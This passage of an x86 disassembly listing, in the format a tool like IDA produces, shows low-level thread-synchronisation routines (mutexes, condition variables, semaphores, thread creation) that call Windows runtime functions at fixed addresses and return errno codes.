edi, [eax] jmp short loc_430A6B ; --------------------------------------------------------------------------- loc_430A27: ; CODE XREF: sub_4309A0+7Bj lea ebx, [esi+0Ch] push 0 push 0 push ebx call sub_401C8A add esp, 0Ch test eax, eax jz short loc_430A45 nop call near ptr 77C1F2BCh mov edi, [eax] jmp short loc_430A62 ; --------------------------------------------------------------------------- loc_430A45: ; CODE XREF: sub_4309A0+99j lea eax, [esi+14h] push 0 push eax call sub_4021BC mov edi, eax add esp, 8 test edi, edi jz short loc_430ACF push ebx call sub_401690 add esp, 4 loc_430A62: ; CODE XREF: sub_4309A0+A3j push ebp call sub_401690 add esp, 4 loc_430A6B: ; CODE XREF: sub_4309A0+85j push esi nop call near ptr 77C2C21Bh add esp, 4 xor esi, esi test edi, edi jnz short loc_430AC2 loc_430A7B: ; CODE XREF: sub_4309A0+131j push offset dword_510980 nop call near ptr 7C901005h mov dword ptr [esi+18h], 0 mov ecx, dword_5103C0 mov [esi+1Ch], ecx mov eax, dword_5103C0 test eax, eax jz short loc_430AA2 mov [eax+18h], esi loc_430AA2: ; CODE XREF: sub_4309A0+FDj mov eax, dword_5103BC mov dword_5103C0, esi test eax, eax jnz short loc_430AB7 mov dword_5103BC, esi loc_430AB7: ; CODE XREF: sub_4309A0+10Fj push offset dword_510980 call near ptr 7C9010EDh nop loc_430AC2: ; CODE XREF: sub_4309A0+D9j mov edx, [esp+10h+arg_0] pop ebp mov eax, edi pop ebx mov [edx], esi pop edi pop esi retn ; --------------------------------------------------------------------------- loc_430ACF: ; CODE XREF: sub_4309A0+B7j xor edi, edi jmp short loc_430A7B sub_4309A0 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 50h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_430B30 proc near ; CODE XREF: sub_401AA5j var_4 = dword ptr -4 arg_0 = dword ptr 4 push ecx push ebx push ebp push esi push edi mov edi, [esp+14h+arg_0] xor esi, esi xor ebp, ebp xor ebx, ebx test edi, edi mov [esp+14h+var_4], ebp jz loc_430CDC mov eax, [edi] test eax, eax jz loc_430CDC cmp eax, 0FFFFFFFFh jz loc_430C93 push offset dword_510980 nop call near ptr 7C901005h mov esi, [edi] lea ebx, [esi+10h] push ebx call sub_401041 add esp, 4 test eax, eax jz short loc_430B89 call near ptr 77C1F2BCh nop mov eax, [eax] pop edi pop esi pop ebp pop ebx pop ecx retn ; --------------------------------------------------------------------------- loc_430B89: ; CODE XREF: sub_430B30+49j lea ebp, [esi+14h] push ebp call sub_401785 add esp, 4 mov [esp+14h+arg_0], eax test eax, eax jz short loc_430BB0 push ebx call sub_40103C mov eax, [esp+18h+arg_0] add esp, 4 pop edi pop esi pop ebp pop ebx pop ecx retn ; --------------------------------------------------------------------------- loc_430BB0: ; CODE XREF: sub_430B30+6Bj mov eax, [esi] mov ecx, [esi+4] cmp eax, ecx jle short loc_430BE9 push ebx call sub_40103C add esp, 4 test eax, eax jz short loc_430BD2 nop call near ptr 77C1F2BCh mov ecx, [eax] mov [esp+14h+arg_0], ecx loc_430BD2: ; CODE XREF: sub_430B30+94j push ebp call sub_4010C3 add esp, 4 mov [esp+14h+var_4], eax mov ebx, 10h jmp loc_430C7E ; --------------------------------------------------------------------------- loc_430BE9: ; CODE XREF: sub_430B30+87j push ebx mov dword ptr [edi], 0 call sub_401690 mov edi, dword_511A70 add esp, 4 test eax, eax jz short loc_430C0A call edi ; _errno mov edx, [eax] mov [esp+14h+arg_0], edx loc_430C0A: ; CODE XREF: sub_430B30+D0j lea eax, [esi+0Ch] push eax call sub_401690 add esp, 4 test eax, eax jz short loc_430C22 call edi ; _errno mov ecx, [eax] mov [esp+14h+var_4], ecx loc_430C22: ; CODE XREF: sub_430B30+E8j push ebp call sub_4010C3 mov ebx, eax add esp, 4 test ebx, ebx jnz short loc_430C3C push ebp call sub_402252 add esp, 4 mov ebx, eax loc_430C3C: ; CODE XREF: sub_430B30+FFj cmp dword_5103BC, esi jnz short loc_430C4F mov edx, [esi+18h] mov dword_5103BC, edx jmp short loc_430C58 ; --------------------------------------------------------------------------- loc_430C4F: ; CODE XREF: sub_430B30+112j mov eax, [esi+1Ch] mov ecx, [esi+18h] mov [eax+18h], ecx loc_430C58: ; CODE XREF: sub_430B30+11Dj cmp dword_5103C0, esi jnz short loc_430C6B mov edx, [esi+1Ch] mov dword_5103C0, edx jmp short loc_430C74 ; --------------------------------------------------------------------------- loc_430C6B: ; CODE XREF: sub_430B30+12Ej mov eax, [esi+18h] mov ecx, [esi+1Ch] mov [eax+1Ch], ecx loc_430C74: ; CODE XREF: sub_430B30+139j push esi call near ptr 77C2C21Bh nop add esp, 4 loc_430C7E: ; CODE XREF: sub_430B30+B4j push offset dword_510980 call near ptr 7C9010EDh nop mov esi, [esp+14h+arg_0] mov ebp, [esp+14h+var_4] jmp short loc_430CC2 ; --------------------------------------------------------------------------- loc_430C93: ; CODE XREF: sub_430B30+28j push offset dword_510900 nop call near ptr 7C901005h cmp dword ptr [edi], 0FFFFFFFFh jnz short loc_430CAB mov dword ptr [edi], 0 jmp short loc_430CB7 ; --------------------------------------------------------------------------- loc_430CAB: ; CODE XREF: sub_430B30+171j mov [esp+14h+arg_0], 10h mov esi, [esp+14h+arg_0] loc_430CB7: ; CODE XREF: sub_430B30+179j push offset dword_510900 nop call near ptr 7C9010EDh loc_430CC2: ; CODE XREF: sub_430B30+161j test esi, esi jz short loc_430CCE mov eax, esi pop edi pop esi pop ebp pop ebx pop ecx retn ; --------------------------------------------------------------------------- loc_430CCE: ; CODE XREF: sub_430B30+194j test ebp, ebp mov eax, ebp jnz short loc_430CE1 pop edi pop esi mov eax, ebx pop ebp pop ebx pop ecx retn ; --------------------------------------------------------------------------- loc_430CDC: ; CODE XREF: sub_430B30+15j ; sub_430B30+1Fj mov eax, 16h loc_430CE1: ; CODE XREF: sub_430B30+1A2j pop edi pop esi pop ebp pop ebx pop ecx retn sub_430B30 endp ; --------------------------------------------------------------------------- db 9 dup(90h) db 70h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_430D60 proc near ; CODE XREF: sub_401203j arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] mov ecx, [esp+arg_0] push 0 push eax push ecx call sub_430D90 add esp, 0Ch retn sub_430D60 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_430D90 proc near ; CODE XREF: sub_430D60+Cp ; sub_431060+19p var_20 = dword ptr -20h var_1C = byte ptr -1Ch var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 sub esp, 20h push esi mov esi, [esp+24h+arg_0] test esi, esi push edi mov [esp+28h+var_20], 0 jz loc_430E99 mov eax, [esi] test eax, eax jz loc_430E99 cmp eax, 0FFFFFFFFh jnz short loc_430DD2 push esi call sub_401B63 add esp, 4 mov [esp+28h+var_20], eax test eax, eax jz short loc_430DD2 cmp eax, 10h jnz loc_430E9E loc_430DD2: ; CODE XREF: sub_430D90+26j ; sub_430D90+37j mov esi, [esi] lea edi, [esi+10h] push edi call sub_401041 add esp, 4 test eax, eax jz short loc_430DF2 call near ptr 77C1F2BCh nop mov eax, [eax] pop edi pop esi add esp, 20h retn ; --------------------------------------------------------------------------- loc_430DF2: ; CODE XREF: sub_430D90+52j mov ecx, [esi] push edi inc ecx mov [esi], ecx call sub_40103C add esp, 4 test eax, eax jz short loc_430E12 nop call near ptr 77C1F2BCh mov eax, [eax] pop edi pop esi add esp, 20h retn ; --------------------------------------------------------------------------- loc_430E12: ; CODE XREF: sub_430D90+72j mov edi, [esp+28h+arg_4] lea ecx, [esp+28h+var_10] push ecx lea edx, [esp+2Ch+var_1C] lea eax, [esp+2Ch+var_20] push offset loc_430F00 push edx mov [esp+34h+var_10], edi mov [esp+34h+var_C], esi mov [esp+34h+var_8], eax mov [esp+34h+var_4], 0 call sub_401663 ; --------------------------------------------------------------------------- dw 0E857h dd 0FFFD027Bh, 8910C483h, 85082444h, 8B2775C0h, 83342444h dd 56500CC6h, 0FD0A46E8h, 8C483FFh, 0E74C085h, 0E44EE890h dd 8B777Eh, 8244489h, 448B04EBh, 0C9330824h, 0C085016Ah dd 89C1940Fh, 0E828244Ch, 0FFFD0296h, 0C24448Bh, 5F04C483h dd 20C4835Eh ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- loc_430E99: ; CODE XREF: sub_430D90+13j ; sub_430D90+1Dj mov eax, 16h loc_430E9E: ; CODE XREF: sub_430D90+3Cj pop edi pop esi add esp, 20h retn sub_430D90 endp ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 50h dup(0CCh) ; --------------------------------------------------------------------------- loc_430F00: ; DATA XREF: sub_430D90+93o push ecx push ebx push ebp mov ebp, [esp+10h] push esi push edi mov esi, [ebp+4] mov ebx, [ebp+8] mov [esp+18h], ebx lea edi, [esi+14h] push edi call sub_402248 add esp, 4 test eax, eax jz short loc_430F2B pop edi pop esi mov [ebx], eax pop ebp pop ebx pop ecx retn ; --------------------------------------------------------------------------- loc_430F2B: ; CODE XREF: ___:00430F21j mov ebx, [esi+8] test ebx, ebx mov [esp+10h], ebx jz short loc_430F3E lea eax, [ebx-1] mov [esi+8], eax jmp short loc_430FA7 ; --------------------------------------------------------------------------- loc_430F3E: ; CODE XREF: ___:00430F34j mov ecx, [esi+4] inc ecx mov eax, ecx mov [esi+4], ecx cmp eax, 3FFFFFFFh jnz short loc_430FA7 lea ebx, [esi+10h] push ebx call sub_401041 add esp, 4 test eax, eax jz short loc_430F72 nop call near ptr 77C1F2BCh mov edx, [esp+18h] mov ecx, [eax] pop edi pop esi pop ebp mov [edx], ecx pop ebx pop ecx retn ; --------------------------------------------------------------------------- loc_430F72: ; CODE XREF: ___:00430F5Cj mov eax, [esi+4] mov ecx, [esi] sub ecx, eax push ebx mov [esi], ecx call sub_40103C add esp, 4 test eax, eax jz short loc_430F9C nop call near ptr 77C1F2BCh mov edx, [esp+18h] mov ecx, [eax] pop edi pop esi pop ebp mov [edx], ecx pop ebx pop ecx retn ; --------------------------------------------------------------------------- loc_430F9C: ; CODE XREF: ___:00430F86j mov ebx, [esp+10h] mov dword ptr [esi+4], 0 loc_430FA7: ; CODE XREF: ___:00430F3Cj ; ___:00430F4Cj push edi call sub_4010C3 add esp, 4 test eax, eax jz short loc_430FC0 mov ecx, [esp+18h] pop edi pop esi pop ebp mov [ecx], eax pop ebx pop ecx retn ; --------------------------------------------------------------------------- loc_430FC0: ; CODE XREF: ___:00430FB2j cmp ebx, 1 jnz short loc_430FE9 add esi, 10h push esi call sub_40103C add esp, 4 test eax, eax jz short loc_430FE9 nop call near ptr 77C1F2BCh mov edx, [eax] mov eax, [esp+18h] pop edi pop esi pop ebp mov [eax], edx pop ebx pop ecx retn ; --------------------------------------------------------------------------- loc_430FE9: ; CODE XREF: ___:00430FC3j ; ___:00430FD3j mov ecx, [ebp+0] push ecx call sub_402248 add esp, 4 test eax, eax jz short loc_430FFF mov edx, [esp+18h] mov [edx], eax loc_430FFF: ; CODE XREF: ___:00430FF7j pop edi pop esi pop ebp pop ebx pop ecx retn ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 50h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_431060 proc near ; CODE XREF: sub_4011E0j arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov eax, [esp+arg_8] test eax, eax jnz short loc_43106E mov eax, 16h retn ; --------------------------------------------------------------------------- loc_43106E: ; CODE XREF: sub_431060+6j mov ecx, [esp+arg_0] push eax mov eax, [esp+4+arg_4] push eax push ecx call sub_430D90 add esp, 0Ch retn sub_431060 endp ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4310A0 proc near ; CODE XREF: sub_401E6Fj arg_0 = dword ptr 4 mov eax, [esp+arg_0] push 0 push eax call sub_4310C0 add esp, 8 retn sub_4310A0 endp ; --------------------------------------------------------------------------- db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4310C0 proc near ; CODE XREF: sub_4310A0+7p ; sub_431220+7p arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_0] push ebx push esi push edi test eax, eax jz loc_4311C4 mov esi, [eax] test esi, esi jz loc_4311C4 cmp esi, 0FFFFFFFFh jnz short loc_4310E4 pop edi pop esi xor eax, eax pop ebx retn ; --------------------------------------------------------------------------- loc_4310E4: ; CODE XREF: sub_4310C0+1Cj lea ebx, [esi+14h] push ebx call sub_402248 add esp, 4 test eax, eax jnz loc_4311C9 mov ecx, [esi+8] mov eax, [esi] test ecx, ecx jz short loc_431134 test eax, eax jnz short loc_431112 loc_431105: ; CODE XREF: sub_4310C0+77j push ebx call sub_4010C3 add esp, 4 pop edi pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_431112: ; CODE XREF: sub_4310C0+43j mov edx, [esp+0Ch+arg_4] test edx, edx jz short loc_431129 mov edi, eax mov dword ptr [esi], 0 add ecx, edi mov [esi+8], ecx jmp short loc_431196 ; --------------------------------------------------------------------------- loc_431129: ; CODE XREF: sub_4310C0+58j inc ecx mov edi, 1 mov [esi+8], ecx jmp short loc_431193 ; --------------------------------------------------------------------------- loc_431134: ; CODE XREF: sub_4310C0+3Fj cmp eax, [esi+4] jle short loc_431105 lea ecx, [esi+10h] push ecx call sub_401041 add esp, 4 test eax, eax jz short loc_431160 nop call near ptr 77C1F2BCh mov esi, [eax] push ebx call sub_4010C3 add esp, 4 mov eax, esi pop edi pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_431160: ; CODE XREF: sub_4310C0+87j mov eax, [esi+4] test eax, eax jz short loc_431174 mov ecx, [esi] mov dword ptr [esi+4], 0 sub ecx, eax mov [esi], ecx loc_431174: ; CODE XREF: sub_4310C0+A5j mov eax, [esp+0Ch+arg_4] test eax, eax jz short loc_431189 mov edi, [esi] mov dword ptr [esi], 0 mov [esi+8], edi jmp short loc_431196 ; --------------------------------------------------------------------------- loc_431189: ; CODE XREF: sub_4310C0+BAj mov eax, [esi] mov edi, 1 mov [esi+8], edi loc_431193: ; CODE XREF: sub_4310C0+72j dec eax mov [esi], eax loc_431196: ; CODE XREF: sub_4310C0+67j ; sub_4310C0+C7j push ebx call sub_4010C3 mov ebx, eax add esp, 4 test ebx, ebx jnz short loc_4311BE add esi, 0Ch push edi push esi call sub_402068 add esp, 8 test eax, eax jz short loc_4311BE nop call near ptr 77C1F2BCh mov ebx, [eax] loc_4311BE: ; CODE XREF: sub_4310C0+E3j ; sub_4310C0+F4j pop edi mov eax, ebx pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_4311C4: ; CODE XREF: sub_4310C0+9j ; sub_4310C0+13j mov eax, 16h loc_4311C9: ; CODE XREF: sub_4310C0+32j pop edi pop esi pop ebx retn sub_4310C0 endp ; --------------------------------------------------------------------------- db 3 dup(90h) db 50h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_431220 proc near ; CODE XREF: sub_40160Ej arg_0 = dword ptr 4 mov eax, [esp+arg_0] push 1 push eax call sub_4310C0 add esp, 8 retn sub_431220 endp ; --------------------------------------------------------------------------- db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_431240 proc near ; CODE XREF: sub_40123Aj var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h push ecx push ebx push esi push edi mov edi, 0Bh xor ebx, ebx call sub_401B27 mov esi, eax test esi, esi jz loc_431316 mov eax, [esi+28h] push 0Ch mov [esp+14h+var_4], eax nop call near ptr 77C2C407h mov ebx, eax add esp, 4 test ebx, ebx jz loc_431316 mov ecx, [esp+10h+arg_8] mov edx, [esp+10h+arg_C] push ebp mov ebp, [esp+14h+arg_4] test ebp, ebp mov [ebx], esi mov [ebx+4], ecx mov [ebx+8], edx jz short loc_4312BE mov eax, [ebp+0] test eax, eax jz short loc_4312BE mov edi, [eax+8] mov eax, [eax+0Ch] mov [esi+20h], eax mov eax, [ebp+0] mov ecx, [eax+10h] mov [esp+14h+var_4], ecx mov ecx, [eax+14h] test ecx, ecx jnz short loc_4312C0 call sub_4012E4 ; --------------------------------------------------------------------------- mov edx, [eax+28h] mov [esp+14h+var_4], edx jmp short loc_4312C0 ; --------------------------------------------------------------------------- loc_4312BE: ; CODE XREF: sub_431240+4Dj ; sub_431240+54j xor edi, edi loc_4312C0: ; CODE XREF: sub_431240+6Ej ; sub_431240+7Cj push esi push 4 push ebx xor eax, eax push offset loc_401BA9 push edi push eax mov [esi+0Ch], eax mov [esi+80h], eax nop call near ptr 77C3A3DBh mov edi, eax add esp, 18h test edi, edi mov [esi+4], edi jz short loc_431309 test ebp, ebp jz short loc_431302 cmp dword ptr [ebp+0], 0 jz short loc_431302 mov eax, [esp+14h+var_4] push eax push 0 push esi call sub_4020D1 add esp, 0Ch loc_431302: ; CODE XREF: sub_431240+AAj ; sub_431240+B0j push edi nop call near ptr 27702ACh loc_431309: ; CODE XREF: sub_431240+A6j neg edi sbb edi, edi pop ebp and edi, 0FFFFFFF5h add edi, 0Bh jz short loc_431349 loc_431316: ; CODE XREF: sub_431240+14j ; sub_431240+30j push esi call sub_4017B7 add esp, 4 xor esi, esi test ebx, ebx jz short loc_43133C push ebx nop call near ptr 77C2C21Bh mov ecx, [esp+14h+arg_0] add esp, 4 mov eax, edi mov [ecx], esi pop edi pop esi pop ebx pop ecx retn ; --------------------------------------------------------------------------- loc_43133C: ; CODE XREF: sub_431240+E3j mov edx, [esp+10h+arg_0] mov eax, edi pop edi mov [edx], esi pop esi pop ebx pop ecx retn ; --------------------------------------------------------------------------- loc_431349: ; CODE XREF: sub_431240+D4j mov eax, [esp+10h+arg_0] mov [eax], esi mov eax, edi pop edi pop esi pop ebx pop ecx retn sub_431240 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 50h dup(0CCh) ; --------------------------------------------------------------------------- loc_4313B0: ; CODE XREF: ___:00401343j mov ecx, [esp+8] mov eax, 1 cmp ecx, 3 ; switch 4 cases ja short locret_4313E7 ; default jmp off_4313EC[ecx*4] ; switch jump loc_4313C5: ; DATA XREF: ___:off_4313ECo call sub_401712 ; jumptable 004313BE case 1 retn 0Ch ; --------------------------------------------------------------------------- loc_4313CD: ; CODE XREF: ___:004313BEj ; DATA XREF: ___:off_4313ECo call sub_4017BC ; jumptable 004313BE case 2 retn 0Ch ; --------------------------------------------------------------------------- loc_4313D5: ; CODE XREF: ___:004313BEj ; DATA XREF: ___:off_4313ECo call sub_4017CB ; jumptable 004313BE case 3 retn 0Ch ; --------------------------------------------------------------------------- loc_4313DD: ; CODE XREF: ___:004313BEj ; DATA XREF: ___:off_4313ECo call sub_4017CB ; jumptable 004313BE case 0 call sub_401627 locret_4313E7: ; CODE XREF: ___:004313BCj retn 0Ch ; default ; --------------------------------------------------------------------------- align 4 off_4313EC dd offset loc_4313DD ; DATA XREF: ___:004313BEr dd offset loc_4313C5 ; jump table for switch statement dd offset loc_4313CD dd offset loc_4313D5 db 4 dup(90h) db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_431420: ; CODE XREF: ___:004017C1j mov eax, dword_5103B4 push esi push edi push eax call sub_401190 ; --------------------------------------------------------------------------- db 8Bh, 7Ch, 24h dd 83F08B10h, 0F68504C4h, 0E8570A75h, 77808EC7h, 4C48390h dd 7E89016Ah, 99FE814h, 0C483FFFDh, 0C35E5F04h, 3 dup(90909090h) dd 4 dup(0CCCCCCCCh) ; =============== S U B R O U T I N E ======================================= sub_431470 proc near ; CODE XREF: sub_401762j arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi push offset dword_5108C0 xor esi, esi call near ptr 7C901005h nop mov eax, [esp+4+arg_0] test eax, eax jz short loc_43149B mov eax, [eax+4] test eax, eax jz short loc_43149B push eax call near ptr 2760623h nop cmp eax, 7FFFFFFFh jnz short loc_4314A0 loc_43149B: ; CODE XREF: sub_431470+14j ; sub_431470+1Bj mov esi, 3 loc_4314A0: ; CODE XREF: sub_431470+29j push offset dword_5108C0 nop call near ptr 7C9010EDh test esi, esi jnz short loc_4314BC mov eax, [esp+4+arg_4] test eax, eax mov eax, 16h jnz short loc_4314BE loc_4314BC: ; CODE XREF: sub_431470+3Dj mov eax, esi loc_4314BE: ; CODE XREF: sub_431470+4Aj pop esi retn sub_431470 endp ; --------------------------------------------------------------------------- db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_4314E0: ; CODE XREF: ___:00401654j push ebx push esi mov esi, [esp+0Ch] push edi test esi, esi jz short loc_431531 mov edi, [esp+14h] test edi, edi jz short loc_431531 mov eax, [esi] xor ebx, ebx test eax, eax jnz short loc_431511 lea eax, [esi+4] push eax nop call near ptr 276055Ch test eax, eax jnz short loc_431517 call edi ; _errno mov dword ptr [esi], 1 loc_431511: ; CODE XREF: ___:004314F9j ; ___:0043151Aj pop edi mov eax, ebx pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_431517: ; CODE XREF: ___:00431507j cmp dword ptr [esi], 0 jnz short loc_431511 mov edi, dword_5118D8 loc_431522: ; CODE XREF: ___:00431529j push 0 call edi cmp dword ptr [esi], 0 jz short loc_431522 pop edi mov eax, ebx pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_431531: ; CODE XREF: ___:004314E9j ; ___:004314F1j pop edi pop esi mov eax, 16h pop ebx retn ; --------------------------------------------------------------------------- db 6 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_431560 proc near ; CODE XREF: sub_4012E4j mov eax, dword_5103B4 push esi push edi push eax call sub_401190 sub_431560 endp ; --------------------------------------------------------------------------- db 8Bh, 0F0h, 83h dd 0F68504C4h, 0ACE87675h, 8BFFFD05h, 74F685F0h, 7C7E8B5Bh dd 1B8h, 53F80B00h, 897C7E89h, 0E8902046h, 231F607h, 187C1D8Bh dd 26A0051h, 6A047E8Dh, 57006A00h, 0D3FF0689h, 32E89050h dd 500235ECh, 9050D3FFh, 32EA43E8h, 5BC08502h, 0E8560E75h dd 0FFFD0609h, 3304C483h, 0C35E5FC0h, 90510F8Bh, 32F04AE8h dd 28468902h, 3B4158Bh, 52560051h, 0FD0B10E8h, 8C483FFh dd 5E5FC68Bh, 909090C3h, 3 dup(90909090h), 0Ch dup(0CCCCCCCCh) ; =============== S U B R O U T I N E ======================================= sub_431630 proc near ; CODE XREF: sub_401A64j arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_0] mov ecx, [esp+arg_4] cmp eax, ecx jnz short loc_43164E test eax, eax jz short loc_431648 mov eax, [eax] mov edx, [ecx] cmp eax, edx jnz short loc_43164E loc_431648: ; CODE XREF: sub_431630+Ej mov eax, 1 retn ; --------------------------------------------------------------------------- loc_43164E: ; CODE XREF: sub_431630+Aj ; sub_431630+16j xor eax, eax retn sub_431630 endp ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_431670: ; CODE XREF: ___:0040200Ej mov eax, [esp+4] test eax, eax jge short loc_43167E mov eax, 16h retn ; --------------------------------------------------------------------------- loc_43167E: ; CODE XREF: ___:00431676j mov dword_5103C4, eax xor eax, eax retn ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_4316A0: ; CODE XREF: ___:00401564j mov eax, dword_5103C4 retn ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4316C0 proc near ; CODE XREF: sub_401B27j push esi call sub_401307 mov esi, eax test esi, esi jnz short loc_4316E2 push 84h push 1 nop call near ptr 77C2C0C3h mov esi, eax add esp, 8 test esi, esi jz short loc_431729 loc_4316E2: ; CODE XREF: sub_4316C0+Aj push 0 push 0 or eax, 0FFFFFFFFh push 1 push 0 mov dword ptr [esi+28h], 0 mov dword ptr [esi+20h], 0 mov dword ptr [esi+30h], 0 mov dword ptr [esi+34h], 1 mov [esi+2Ch], eax mov [esi+24h], eax nop call near ptr 27508C9h test eax, eax mov [esi+38h], eax jnz short loc_431729 push esi call sub_401BD1 add esp, 4 xor eax, eax pop esi retn ; --------------------------------------------------------------------------- loc_431729: ; CODE XREF: sub_4316C0+20j ; sub_4316C0+5Aj mov eax, esi pop esi retn sub_4316C0 endp ; --------------------------------------------------------------------------- db 3 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_431750 proc near ; CODE XREF: sub_401307j push esi push offset dword_5108C0 nop call near ptr 7C901005h mov esi, dword_447700 cmp esi, 1 jz short loc_431785 mov eax, [esi+8] push offset dword_5108C0 mov dword_447700, eax mov dword ptr [esi+8], 0 nop call near ptr 7C9010EDh mov eax, esi pop esi retn ; --------------------------------------------------------------------------- loc_431785: ; CODE XREF: sub_431750+15j push offset dword_5108C0 xor esi, esi nop call near ptr 7C9010EDh mov eax, esi pop esi retn sub_431750 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4317C0 proc near ; CODE XREF: sub_401BD1j arg_0 = dword ptr 4 push edi push offset dword_5108C0 call near ptr 7C901005h nop mov edx, [esp+4+arg_0] mov ecx, 21h xor eax, eax mov edi, edx rep stosd mov eax, dword_447700 push offset dword_5108C0 mov [edx+8], eax mov dword_447700, edx nop call near ptr 7C9010EDh pop edi retn sub_4317C0 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_431810 proc near ; CODE XREF: sub_40164Aj arg_0 = dword ptr 4 mov eax, [esp+arg_0] push 0FFFFFFFFh push eax call sub_431830 sub_431810 endp ; --------------------------------------------------------------------------- add esp, 8 retn ; --------------------------------------------------------------------------- db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_431830 proc near ; CODE XREF: sub_431810+7p ; sub_431950+Ap var_8 = dword ptr -8 arg_0 = dword ptr 4 sub esp, 8 mov eax, [esp+8+arg_0] push esi push edi mov edi, 1 mov [esp+10h+var_8], eax call sub_4012E4 sub_431830 endp ; --------------------------------------------------------------------------- mov esi, eax test esi, esi jz short loc_431866 mov eax, [esi+30h] test eax, eax jnz short loc_43186E mov eax, [esi+38h] test eax, eax mov [esp+0Ch], eax jz short loc_43186E mov edi, 2 jmp short loc_43186E ; --------------------------------------------------------------------------- loc_431866: ; CODE XREF: ___:0043184Bj mov dword ptr [esp+0Ch], 0 loc_43186E: ; CODE XREF: ___:00431852j ; ___:0043185Dj ... mov ecx, [esp+18h] lea edx, [esp+8] push ecx push 0 push edx push edi call near ptr 27506C6h nop mov ecx, eax sub ecx, 0 jz short loc_4318F9 dec ecx jz short loc_4318A4 sub eax, 102h pop edi neg eax sbb eax, eax pop esi and eax, 0FFFFD8CAh add eax, 274Ch add esp, 8 retn ; --------------------------------------------------------------------------- loc_4318A4: ; CODE XREF: ___:00431889j mov eax, [esp+0Ch] push eax nop call near ptr 277084Dh test esi, esi jz short loc_4318EE lea edi, [esi+2Ch] push edi call sub_402248 mov ecx, [esi+0Ch] mov eax, 3 add esp, 4 cmp ecx, eax jge short loc_4318E5 push edi mov [esi+0Ch], eax mov dword ptr [esi+30h], 1 call sub_4010C3 push 2 call sub_401DED ; --------------------------------------------------------------------------- add esp, 8 loc_4318E5: ; CODE XREF: ___:004318C9j push edi call sub_4010C3 add esp, 4 loc_4318EE: ; CODE XREF: ___:004318B1j pop edi mov eax, 16h pop esi add esp, 8 retn ; --------------------------------------------------------------------------- loc_4318F9: ; CODE XREF: ___:00431886j pop edi xor eax, eax pop esi add esp, 8 retn ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 40h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_431950 proc near ; CODE XREF: sub_401D84j arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] mov ecx, [esp+arg_0] push eax push ecx call sub_431830 sub_431950 endp ; --------------------------------------------------------------------------- add esp, 8 retn ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_431980 proc near ; CODE XREF: sub_401C17j arg_0 = dword ptr 4 push esi push offset dword_510920 xor esi, esi nop call near ptr 7C901005h mov ecx, [esp+4+arg_0] mov eax, [ecx] cmp eax, 0FFFFFFFFh jnz short loc_4319B4 push esi push ecx call sub_4021BC add esp, 8 mov esi, eax push offset dword_510920 call near ptr 7C9010EDh nop mov eax, esi pop esi retn ; --------------------------------------------------------------------------- loc_4319B4: ; CODE XREF: sub_431980+17j test eax, eax jnz short loc_4319BD mov esi, 16h loc_4319BD: ; CODE XREF: sub_431980+36j push offset dword_510920 call near ptr 7C9010EDh nop mov eax, esi pop esi retn sub_431980 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4319F0 proc near ; CODE XREF: sub_4021BCj arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_0] push ebp xor ebp, ebp push edi test eax, eax jnz short loc_431A04 pop edi mov eax, 16h pop ebp retn ; --------------------------------------------------------------------------- loc_431A04: ; CODE XREF: sub_4319F0+Aj mov edi, [esp+8+arg_4] test edi, edi jz short loc_431A1F mov eax, [edi] test eax, eax jz short loc_431A1F cmp dword ptr [eax], 1 jnz short loc_431A1F pop edi mov eax, 28h pop ebp retn ; 